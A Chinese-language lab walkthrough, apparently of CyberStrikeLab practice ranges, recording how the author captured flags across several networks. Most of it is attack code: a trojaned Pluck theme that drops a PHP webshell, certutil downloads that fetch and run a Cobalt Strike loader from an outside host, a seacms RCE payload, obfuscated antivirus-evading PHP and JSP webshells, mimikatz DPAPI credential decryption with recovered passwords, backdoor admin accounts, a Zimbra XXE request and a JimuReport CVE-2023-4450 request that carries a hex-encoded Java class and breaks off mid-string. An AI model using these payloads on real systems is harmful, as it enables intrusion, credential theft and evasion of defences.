用创建好的账号申请一个证书(要加timeout 30,不然容易卡出去)

1
proxychains -q certipy-ad req -u 'liernian$@cyberstrikelab.com' -p '7dBal4oZg05aoqNn' -ca 'cyberstrikelab-DC-CA' -target 10.6.6.55 -template 'Machine' -debug -dc-ip 10.6.6.55 -timeout 30

image-20260125202652831

有了之后就可以获取域管理员哈希了

1
proxychains -q certipy-ad auth -pfx dc.pfx -dc-ip 10.6.6.55 -debug

好像出了点问题,说是时钟偏差过大

image-20260126113243462

搞了很久,甚至把工具升级之后还是没有

这个报错有人用faketime成功了,但是我的还是成功不了。

这里就不再多花时间了,最后就是打个PTH直接用别人打出来的哈希打了

lab14

flag1

知识点:Pluck CMS历史漏洞

Pluck CMS,直接打nday

弱口令cslab

image-20260206185028346

找一下主题上传的点

image-20260206185256240

先下一个合法主题https://github.com/billcreswell/redline-theme

修改一下info.php

1
2
3
4
5
6
<?php
file_put_contents('2.php', base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));
?>


//<?php system($_GET[1]);?>

然后再压缩成压缩包上传上去(这里用POST失败了,不知道怎么回事)

image-20260206190356369

不看杀软了,直接网络分离上线CS

1
2
3
http://10.0.0.34/2.php?1=certutil -urlcache -split -f http://172.16.233.2:50055/a1.exe a1.exe

http://10.0.0.34/2.php?1=a1.exe ttp://172.16.233.2:50055/a1.txt

image-20260206191117020

flag2

知识点:seacms历史漏洞

老样子,传stowawayfscan进行内网渗透

image-20260206191255480

image-20260206191556553

ip 功能
10.5.8.43 外网机(拿下)
10.5.8.50 DC 域控
10.5.8.88 cslab 存在web服务

显然现在要打88这台web服务 seacms继续打nday

(这里其他人都能扫出漏洞,为啥我的不行)

image-20260206192259749

漏洞利用

1
2
3
4
5
6
POST /search.php HTTP/1.1
Host: 10.5.8.88
Content-Type: application/x-www-form-urlencoded
Content-Length: 203

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('whoami');

image-20260206192500994

直接上线,当然事先在外网机的C:\phpStudy\WWW目录下上传这两个文件

1
2
3
4
5
certutil -urlcache -split -f http://10.5.8.43/4444.exe 4444.exe

4444.exe http://10.5.8.43/4444.txt

connect 10.5.8.88

上线成功

image-20260206192849123

image-20260206192944982

flag3

知识点:DPAPI凭据解密

打域控一般都先看看同一域中的主机有没有什么信息,一般自己创建用户的RDP都会少些东西,我们查看一下windows自动登录配置

1
shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

是管理员权限,那么就可以RDP登录本地管理员的账号了

image-20260206194133473

1
administrator/Sea@asd

查找保存的远程连接 TERMSRV/10.5.8.50 的域管密码、查找凭证

1
dir /a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*

image-20260206194806147

1
811292CB3B95926F7EA2D46FEB2A7ADB
1
shell C:\Users\Public\mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB" "exit"

获取guidMasterKey

image-20260206195134966

1
{2e550db8-ab33-407c-8a29-120d38c9d711}

通过LSASS进程获取对应的MasterKey

1
shell C:\Users\Public\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

image-20260206195442925

1
24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9

最后进行解密

1
shell C:\Users\Public\mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB /masterkey:24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9" "exit"

最后这步需要在之前开了的RDP中执行,不然会失败

image-20260206200139497

1
administrator/cs1ab@qs

直接RDP登录就行

image-20260206200802541

lab15

flag1

知识点:webmin弱口令

image-20260206203416276

提示给了弱口令

image-20260206203425143

里面有可以执行命令的

image-20260206203558397

还是root权限,我们改一下密码直接在finalshell里上

image-20260206203659306

flag2

知识点:

修改一下密码,finalshell连接上去

1
echo root:password|chpasswd

image-20260206204040814

然后上线stowaway和fscan

image-20260206204742707

image-20260206205012146

ip 功能
10.20.30.5 cslab 8008有web服务
10.20.30.7 外网机 (拿下)
10.20.30.66 DC

7

fineCMS打nday

image-20260206205455304

注册账号后上传头像,JS绕过上传一句话木马

image-20260206210152552

但是显示目录权限不足,看来不是走上传文件这条路

还是进后台把,爆破一下得到

1
admin/admin

然后在后台修改域名的地方

image-20260206211446158

image-20260206212303188

Thunder

flag1

知识点:thinkphp一把梭、免杀php木马

thinkphp的站点

image-20260126153613890

直接用工具试试能不能getshell

image-20260126153824691

直接蚁剑连接,发现连接不上,看来是被杀了,需要生成一个免杀的php马

(直接用之前用过的webshell生成器,生成一个蚁剑base64的马)

1
<?php class  G1sO9FH7{/*F85p03*/function __construct($x){$c=str_rot13('ffreg');/*F85p03*/$a= ("!"^"@").$c;/*F85p03*/$a($x);}}new  G1sO9FH7($_REQUEST['1']); ?>

image-20260126154615313

额,被杀了,看来是我手太快了

在网上找一个免杀马再传一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function xorEncryptDecrypt($data, $key) {
            
    $keyLength = strlen($key);
    $result = '';
 
    for ($i = 0; $i < strlen($data); $i++) {
            
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }
 
    return $result;
}
 
$originalData = $_REQUEST["a"];
$key =  $_REQUEST["b"];
 
 
$encryptedData = xorEncryptDecrypt($originalData, $key);
$decryptedData = xorEncryptDecrypt($encryptedData, $key);
echo @eval($decryptedData);
?>

flag2

知识点:MDUT弱口令连接、掩日网络分离免杀上线CS

本来想用powershell command来上线CS的,结果发现并不行,用掩日做一下免杀

image-20260126161821924

结果运行之后并没有上线?

研究一段时间之后发现了问题所在,应该选用这个(P模式),生成c然后再去免杀,在lab8重新尝试了一下,可以通过这个P模式和掩日进行上线

image-20260126183101799

成功上线,不过原理是啥?之后还得去了解一下

image-20260127102819457

然后fscan开扫

image-20260127103434878

显然外网机的内网区只有一个98的机子,这个98机子还有内网,所以之后还需要多级代理

image-20260127103651815

现在先尝试攻击一下98这台机子,发现开启了3306,然后提示说密码为calab,用tscan爆破一下

image-20260127104500072

感觉也不用爆破了,root也能猜到

image-20260127105554289

image-20260127105811340

连接上之后看看权限和有没有杀软(这里需要UDF提权之后才能执行命令,就在MDUT上方)

image-20260127111040594

1
tasklist /svc

好好,有一个windows杀软

image-20260127111621966

这里要用掩日做一个网络分离的马?为啥不懂

image-20260127120125278

1
2
3
certutil -urlcache -f -split http://172.20.57.30/4444.exe 4444.exe

4444.exe http://172.20.57.30/4444.txt

这里下载时可以下载,但是出问题了,我用certutil下载的时候只能下载7332个字节,下了半天了,尝试了各种方式最终才发现有这一层原因在

傻逼了,下半天还是目录放错了,最后尝试处还是网络分离有用

最后连接一下即可上线

1
connect 172.20.57.98 

image-20260127162606072

之后使用插件的BadPotato进行提权

image-20260127163413980

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
"\"C:\Users\Public\4444.exe\" http://172.20.57.30/4444.txt"

BadPotato使用的时候需要双引号包裹

"tasklist | findstr 4444"

这里可以确定一下有没有开始监听

connect 172.20.57.98

用跳板机再次连接即可提权至system

然后读取flag

image-20260127175151432

flag3

知识点:stowaway二级代理、修改数据库获取账号密码、zblogit历史漏洞、sudo -l提权

因为需要把杀软关了,我们需要开一个RDP

1
2
3
shell net user liernian qwer123! /add

shell net localgroup Administrators liernian /add

防火墙和RDP开启直接用插件,方便一些

把傻鸟杀软关了,传fscan开扫

image-20260128224940819

后来才发现,原来有插件可以一键关闭

image-20260128231931174

image-20260128225127255

想到还是先搞stowaway的二级代理

1
2
3
4
5
6
shell C:\Users\Public\windows_x64_agent.exe -l 8889

connect 172.20.57.98:8889
back
use 1
socks 9991

image-20260128225900699

这样二级代理就搞好了

image-20260128230545804

有一个80端口的内网

image-20260128230843924

需要用户密码

之前有数据库,可以查看一下有没有密码。

这里用DBeaver,好吧网络配置不太好,还是用命令行直接sql查询吧

image-20260128235335920

image-20260128235546896

1
cslab    | 6e272dff11557a1e7ad35d0fdf1162c3 

密码是这个,但是不知道是如何加密的,可以去找zblogit的源码看,可以发现是双重md5加密,还有拼接

然后我们可以直接该密码改成123456或者写一个爆破双重md5的脚本

这里就直接改吧

image-20260129000913051

1
2
3
UPDATE zbp_member 
SET mem_Password = '30492f76a0fbcf3906cce8b4b566d6b6'
WHERE mem_Name = 'cslab';

DBeaver也可以

然后就可以打那个网站了,有个nday

image-20260129003346943

fengyijiu520/Z-Blog-: Z-Blog 后台文件上传漏洞

把这个shell.zba文件在主题管理里直接传就可以getshell

居然是个linux机子,这个靶场打的第一个linux靶机

image-20260129004828959

1
sudo -l

image-20260129005549371

可以修改write.sh,添加

1
2
3
4
cat /root/*
获取flag
echo root:password|chpasswd
修改root密码,改为password

image-20260129010444448

然后执行

1
sudo /home/www/write.sh

image-20260129011401459

然后就可以连接了

image-20260129012838679

flag4

知识点:stowaway三级代理、zimbra历史漏洞

又是一个内网,tnnd

image-20260129013248486

fscanstowaway

查出一个56有个443端口

image-20260129013723021

1
2
3
4
5
listen
1
8899

./linux_x64_agent -c 10.0.0.65:8899

image-20260129014520096

我发现这里二级三级代理的反向代理还挺好用的

是个zimbra

image-20260129015258388

用tscan可以扫出有xxe的漏洞

image-20260129015516351

直接发包读取flag即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 10.1.1.56
Cookie: ZM_TEST=true
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 316
Content-Type: text/xml

<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:/root/flag.txt" >]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>test@test.com</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request></Autodiscover>

image-20260129020008007

打到这里本来就可以结束了,但是我还想着要不要上线最后一个靶机

就这样吧,最后一个靶机也不拿shell了

奇怪的就是这个靶场没有域控啥的,都打不了PTH

就这样吧

总结

总结一下,这个靶场关于免杀的东西还是很多的,学到了很多东西,一开始关于CS的东西也研究了很久,免杀也搞了很久,现在属于是比较通透了,可以着手写一个知识点总结了

SweetCake

flag1

知识点:struts2漏洞利用、php免杀、土豆提权

入口ip为``老样子fscan

image-20260130155010977

image-20260130154840685

提示说:有听说有S2框架,可以检测一波,也是直接可以执行命令了

image-20260130155903656

然后上传jsp木马,直接传到根目录就行,这里根目录指的是S2的根目录

image-20260130160938146

连接失败了,这里换一个马,最后用的这个,是tscanplus生成的蚁剑免杀jsp(这个免杀性能一般,不过是这里不怎么需要免杀)

1
<% String H32u8 = request.getParameter("a");if (H32u8 != null) { class Eb4S69j9 extends/*Z#¥h*u@!h111tJ4l00*/ClassLoader { Eb4S69j9(ClassLoader LNbQw2) { super(LNbQw2); } public Class H32u8(byte[] b) { return super.defineClass(b, 0, b.length);}}byte[] bytes = null;try {int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 16; ccstr = ccstr + (char) aa[i];}Class A63qC = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});bytes = (byte[]) A63qC.getMethod(k, String.class).invoke(A63qC.newInstance(), H32u8);}catch (Exception e) {bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H32u8);}Class aClass = new Eb4S69j9(Thread.currentThread().getContextClassLoader()).H32u8(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {} %>

image-20260130161636416

需要提权

image-20260130161827420

1
whoami /priv

发现开启了这个,尝试用甜土豆提权

image-20260130161950881

上传甜土豆之后

1
SweetPotato.exe -a whoami

提权成功

image-20260130162300853

1
SweetPotato.exe -a "type c:\flag.txt"

image-20260130162610676

flag3

知识点:积木报表CVE-2023-4450

先做一下内网准备,上一下stowawayCS

不出意外就出意外了,发现这台机子居然ping不到主机,要么是防火墙要么是不出网。不过,stowaway可以正向连接上线,但是CS的跳板机不行。所以就先上stowaway了

image-20260130163847236

接下来要成功上线的话,也很简单,有系统权限就是很全能,尝试把防火墙关了就行

1
SweetPotato.exe -a "netsh advfirewall set allprofiles state off"

然后用插件一直无法成功提权,还是用自己的

1
shell C:\Users\Public\SweetPotato.exe -a "C:\Users\Public\1.exe"

image-20260130165247241

有系统权限之后还得关一下杀软,不然会把stowaway删了(第一次打还没有被杀)

忙活半天,开始扫内网吧

image-20260130165825761

image-20260130165936331

ip 功能
172.30.58.42 外网机(拿下)
172.30.58.77 WIN-UPQLOPM011B 存在web服务
172.30.58.78 只开放了22端口
172.30.58.79 WIN-85B7F32VC8H 8085端口存在web服务

感觉思路还是很清晰的,先去打有web服务的79、77,然后可能能拿到数据库,可能拿到78的ssh用户和密码

79是积木报表的站,依旧搜索nday

image-20260130172507038

找到一个CVE-2023-4450

直接跟着打,这里直接借用其他师傅的poc了

点击新建报表,改包发送两次

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
Host: 172.30.58.79:8085
Content-Length: 2
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
X-Tenant-Id: null
JmReport-Tenant-Id: null
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
tenantId: null
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
X-Access-Token: null
token: null
sec-ch-ua-platform: "Windows"
Origin: http://172.30.58.79:8085
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://172.30.58.79:8085/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1734512727,1734575289,1734580151,1734592701; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1734592701; HMACCOUNT=5325E852605ABB9A
Connection: keep-alive

{"designerObj":{"id":"123456789","name":"erhuo","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(use org.springframework.cglib.core.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass(\"org.apache.logging.l.KeyUtils\", Hex.decodeHex(\"cafebabe0000003401240a005a008d08008e08008f0700900800910a000400920a009300940a009300950800960a002500970800980a0059009908009a08009b08009c08009d08009e07009f0800a00700a10a005900a20700a30800a40a001200a50800a60a005900a70700a80a001b00a90b00aa00ab0800ac0a001400ad0a001200ae0a005900af0a005900b00a005900b10a005900b20700b30800b40700b50900b600b70a001200b80a00b900ba0a00b600bb0a00b900bc0700bd0800be0800bf0800c00700c10a003100c20800c30a001200c40800c50a001200c60800c70800c80800c90700ca0a003a008d0700cb0a003c00cc0700cd0a003e00ce0a003e00cf0a003a00d00a003a00d10a005900d20a00d300d40a00d300ba0a00d300d50a001200d60700d70a001200d80a004800920a001200d90a00b900da0a000400db0a00b900dc0700dd0a004f00920700de0700df0a005100e00a005200920a005900e10a005900e20a005900e30a005200e40700e50700e60100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d67657455726c5061747465726e01001428294c6a6176612f6c616e672f537472696e673b01000c676574436c6173734e616d6501000f676574426173653634537472696e6701000a457863657074696f6e730700e70100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560700e80100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a676574436f6e7465787401001428294c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c650700b30700a10700a30700e90700ea01000e676574496e746572636570746f720700bd01000e616464496e746572636570746f72010027284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b295601000c6465636f6465426173653634010016284c6a6176612f6c616e672f537472696e673b295b4201000e677a69704465636f6d7072657373010006285b42295b420700ca0700cb0700cd0100057365744656010039284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100056765744656010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f4f626a6563743b0100046765744601003f284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b07009f0700d701000c696e766f6b654d6574686f6401005d284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0700eb0700ec0700dd0700de0100083c636c696e69743e01000a536f7572636546696c6501000d4b65795574696c732e6a6176610c005b005c0100022f2a0100356f72672e6170616368652e636f6d6d6f6e732e6c616e672e536563757269747948616e646c6572576463496e746572636570746f720100106a6176612f6c616e672f537472696e670109a0483473494141414141414141414a31582b337354787855396f346458794570495241444c62674f6b6755677957415273452b776b594275445857776e52635375342f5378576f30736753794a335a574e307961686164716b37316636534e2f7069375251536c4b51495453555072372b30482b6f58333970656d5a334c57784c7276503173372f567a737964632b2b63652b3464365a2f2f656663326745667864344765736a6d62306975366b5a63706f7a77335679355a71614a656d6b326c70564531432f62696946374b467155356c5456475337593044566d7879365947496244316a44367675385a445264327978737036566e4c4a4c3342496f566f56733143617a5a6e366e46776f6d326454437a4b547371513558355232617342614c426b65394372636f4943594a585a385a6a417874735a4276304267714a79564170764843695535555a334c53504f306e696c794a6a70574e76546970473457314e6962444e6a356773566f7876367651394b6479416a345a67594657724d795235644f47414c624764336f61474e38456479482b384d4949437251386e6968564c4366464769507237567a69657050544e4b425162523131694e34414673565770754150353659564f4e324e6534513246517870527530514e5a31634c354f627436324b366b5250744c7578436c3572696f74753339444d3674435a6d542f696e6965797079526874326665465a677939335a34664f4b6f554b357047474867475a4a792b4a41594f66364868774c4d756f765a38366f2f446c675662745154493372466335763962596135694b35547730564b6e6d704d71435a627641436a337a4155777145544f386b416874543435325a6e764b75434a5357476767517543647436385a5a427574704b3579584b6b73545650667148576c62795a375a32346575546641684a624437413057753456456d646c626149773679774a3534493279696d6165443647374641665251703235556b3371784b694d34354562776d4d42396133647036434e5252726c6b363455534a64327853715635335579726f4571475a4f346a65427850684e4550716a6e4d2b4e4c4c2b58346f6e74676f347845637859414b6a6b56302f39326b6a2b68576e6c78714f4262474d44704332454f4756326c4377776a5655716b7938342f4647785053524b4f4e55784638464364624d597178454f496837474b3956554e346d6f3268776a4b4c344a544c5431726777663939444133506b4330473478424c4c54624a544a4f49574c4a542b4867724a6a484e7377774d70304f59385170706a64493166494c4a4937656a4a6376575362744159743373723632534344364654346678536567434f31595a5742567071435a6e5376756b5845787a704945644a305248673475325a4e34443863544d594151534f5a5867576265334e584873644a394347466d7766414f7174536e54556466533874706f696b346330794c6d5644796c56634a7a576446516351507765756d57654c4d2b6173494b34787a6f5a504f615251337a417663753733646270554373456158655263396a4d5977465042396d71747663436a766c56566a3738725a434f5456597a65576b4b625075477665396742655663463853324e62635273506e6e47616a5a3956314a50424176476c316668367668504579766b44586d64377559394a77727242747a644b7255764571586c4f52666f6b644b56732b58696a705256346d366a705569312f4256785778583474415130695a66594f794b636d4675374a5a48555339454c364662797353766b4d7346725a65744e516432367a52522f4264664539782f3330576537335257796f614a334b7931704c524c646e627a594a75646b505036326276636a396663313177325a6368564842656c5a47477a5a342b756c54526477303671434838677235795a612b7a377436674279344c356c6634745472666239774f355a4a7368764157652f4e4d67376d4733376b36474a6432767077564f4e7245532b4f326c58354e6d537553734a534c77414175342f6371674374553945776a7278717543725374743133444f325331554a6f766e2b5752447a664a53785049706d6d2b687574682f42453177726e704375454774575a565331317a4263766f47687849447939726b5053384b7842783756786c682f416e7071516e313530316a494f5a486c302f314e7554375133684e6c4e7953697270302b514f7554732b662b6238374d4c7a6d626b512f6f70643147454164416b2f6e3279712f4849703150586e66423579506f4e386f325435334d54524537543338584e54737450666558734a5736357934454f597a786161414f316f35584f626134514937674763743375786d657443665450796f4a366d6a624a7153335975495a614d2f766b365469656a66376d4f2f636e6f3336376a384e7431354c426a7477506273584d46656c73647659307a327a3330646739396d4459716e75334a4a58786f592f4350454f4a68427a7a69627650414254364d42326c42534a486a4554584f5865744d5873502b6d2b6a3134523934362b36414c3464724f50494758752b38695347427673417444453876345868664d42614d6e75446b75423954664a3359573339394b686277336750526a784867394530383630663075527649394c5845576f4b336b4a3157307a586b6f3838743457774e3556767754536472714e62776d5356384e7461536e434c7942594561766e674458363768367a56387334625859384561666a42314563472b6750397934444a5073677558634955552b70317a397a456c77434f63546641767958375a79657a7578516a7a6635715a3135464348767678496e3975584f49586c5375307549707576494e656836635263704667643979466836694a4131676b687739544c586b4d6b6376643549704d31564e304458766f537a68766365377a4f57394a2b765454703871432f312b346f6d456e6635363877624653355536797a7037717366384d45594e636555574d525839354178664839305a2f4b2b37675567312f324d7650743274596d74684857714933412b396859646f663755397a6152384835366239536234763363476237762f595252795a694e3579514d6855587941575542766657376b78466c686e4a2f6e73764f704964776a4847654d4a586a63583671776534496e422b3969484936795a6f2b6a41414f314761546c4979324d59707a4454484c31412f693577356d5763724c505a51575a2b36444153777050344558367376754751497a5558344d36443374774a3476384550365564326344506e43723145656e6e546f6b704e6850777630386e50673373583239436b4e663363526742623879684d2f6476724351622f775869564a59575867344141413d3d0c005b00ed0700ee0c00ef00f00c00f100f201003c6f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e726571756573742e52657175657374436f6e74657874486f6c6465720c00f300f401001467657452657175657374417474726962757465730c0084007f01000a6765745265717565737401000a67657453657373696f6e010011676574536572766c6574436f6e746578740100426f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e737570706f72742e5765624170706c69636174696f6e436f6e746578745574696c730100186765745765624170706c69636174696f6e436f6e7465787401000f6a6176612f6c616e672f436c61737301001c6a617661782e736572766c65742e536572766c6574436f6e746578740100106a6176612f6c616e672f4f626a6563740c008400850100136a6176612f6c616e672f457863657074696f6e0100316f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e4c6976654265616e73566965770c00f5006a0100136170706c69636174696f6e436f6e74657874730c007e007f0100176a6176612f7574696c2f4c696e6b6564486173685365740c00f600f70700f80c00f9006a0100356f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e5765624170706c69636174696f6e436f6e746578740c00fa00fb0c00fc00fd0c006100600c006200600c007500760c007700780100156a6176612f6c616e672f436c6173734c6f6164657201000b646566696e65436c6173730100025b420700fe0c00ff01000c010101020700eb0c010301040c010501060c010701080100136a6176612f6c616e672f5468726f7761626c650100076765744265616e01001c726571756573744d617070696e6748616e646c65724d617070696e6701001361646170746564496e746572636570746f72730100136a6176612f7574696c2f41727261794c6973740c0109010a01001673756e2e6d6973632e4241534536344465636f6465720c010b00f401000c6465636f64654275666665720c010c01020100106a6176612e7574696c2e42617365363401000a6765744465636f6465720100066465636f646501001d6a6176612f696f2f4279746541727261794f757470757453747265616d01001c6a6176612f696f2f427974654172726179496e70757453747265616d0c005b010d01001d6a6176612f7574696c2f7a69702f475a4950496e70757453747265616d0c005b010e0c010f01100c011101120c011301140c008000810701150c011600740c011701180c0119011a01001e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0c011b00fb0c011c011d0c011e00600c011f010a0c0120012101001f6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e0100206a6176612f6c616e672f496c6c6567616c416363657373457863657074696f6e01001a6a6176612f6c616e672f52756e74696d65457863657074696f6e0c012200600c0069006a0c0071006a0c007300740c005b012301001d6f72672f6170616368652f6c6f6767696e672f6c2f4b65795574696c73010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100136a6176612f696f2f494f457863657074696f6e010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e01002b6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e546172676574457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f6401001b5b4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b010015284c6a6176612f6c616e672f537472696e673b29560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000b6e6577496e7374616e63650100086974657261746f7201001628294c6a6176612f7574696c2f4974657261746f723b0100126a6176612f7574696c2f4974657261746f720100046e657874010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b010010697341737369676e61626c6546726f6d010014284c6a6176612f6c616e672f436c6173733b295a0100116a6176612f6c616e672f496e7465676572010004545950450100114c6a6176612f6c616e672f436c6173733b0100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a295601000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010007666f724e616d650100096765744d6574686f64010005285b422956010018284c6a6176612f696f2f496e70757453747265616d3b295601000472656164010005285b4229490100057772697465010007285b424949295601000b746f42797465417272617901000428295b420100176a6176612f6c616e672f7265666c6563742f4669656c64010003736574010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d6765745375706572636c6173730100126765744465636c617265644d6574686f647301001d28295b4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100076765744e616d65010006657175616c73010011676574506172616d65746572547970657301001428295b4c6a6176612f6c616e672f436c6173733b01000a6765744d657373616765010018284c6a6176612f6c616e672f5468726f7761626c653b295600210059005a0000000000110001005b005c0001005d0000001d00010001000000052ab70001b100000001005e000000060001000000180001005f00600001005d0000001b00010001000000031202b000000001005e0000000600010000001a0009006100600001005d0000001b00010000000000031203b000000001005e0000000600010000001e0009006200600002005d00000022000300000000000abb0004591205b70006b000000001005e00000006000100000022006300000004000100640001006500660002005d000000190000000300000001b100000001005e00000006000100000030006300000004000100670001006500680002005d000000190000000400000001b100000001005e000000060001000000350063000000040001006700090069006a0002005d00000123000700060000008bb80007b600084b014c2a1209b6000a120bb8000c4e2d120db8000c4d2c120eb8000c3a041904120fb8000c3a052a1210b6000a121104bd001259032a1213b6000a5304bd00145903190553b800154ca700044e2bc700352a1217b6000ab600181219b8001ac0001b4e2db6001cb9001d01004d2a121eb6000a2cb6001fb600209900052c4ca700044e2bb000020009004f0052001600570085008800160002005e00000046001100000038000700390009003d0015003e001c003f00240040002d0041004f004300520042005300450057004700690048007300490083004a0085004d0088004c00890050006b0000002a0005ff0052000207006c07006d000107006e00fc003107006dff0002000207006c07006d000107006e0000630000000a0004006f0070004f0051000a0071006a0002005d000000fa0006000600000074b80007b600084b014c2ab80021b6000ab600184ca7005e4db80022b80023b800244e